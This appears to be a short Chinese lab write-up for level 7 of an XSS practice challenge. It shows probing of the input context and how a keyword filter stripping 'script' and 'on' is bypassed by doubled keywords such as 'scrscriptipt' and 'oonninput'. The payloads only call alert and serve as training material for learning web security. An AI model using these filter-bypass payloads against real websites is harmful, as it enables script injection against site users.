第七关:level7
输入 ' " > 测试
结果:
可以判断前面是 "
输入 "> <script>alert('yes')</script> 测试
"> <script>alert('yes')</script>
//这行代码32个字符
没有生效,提示payload长度为20,但是我们输入的内容长度为32,怎么回事呢?
查看当前网页源代码:
输入的内容中的script被过滤,所以payload长度为21
同时尝试html事件,看是否可以通关
" οninput="alert('yes')"
//这行代码24个字符
结果如下:
看样子又有两个字符被过滤了,查看一下网页源代码:
果然第17行将on过滤了,防止调用html事件
两种方式都有字符被过滤
这里我们可以对标签的书写做一些处理,让后台过滤后仍然可以执行我们的脚本!
在上面的被过滤字符中都插入一段过滤字符,当插入的字符被过滤后,过滤结果仍然可以组合成为脚本语句:
"> <scrscriptipt>alert("yes")</scrscriptipt>
同理,另一个也可以这样处理:
" oonninput="alert('yes')"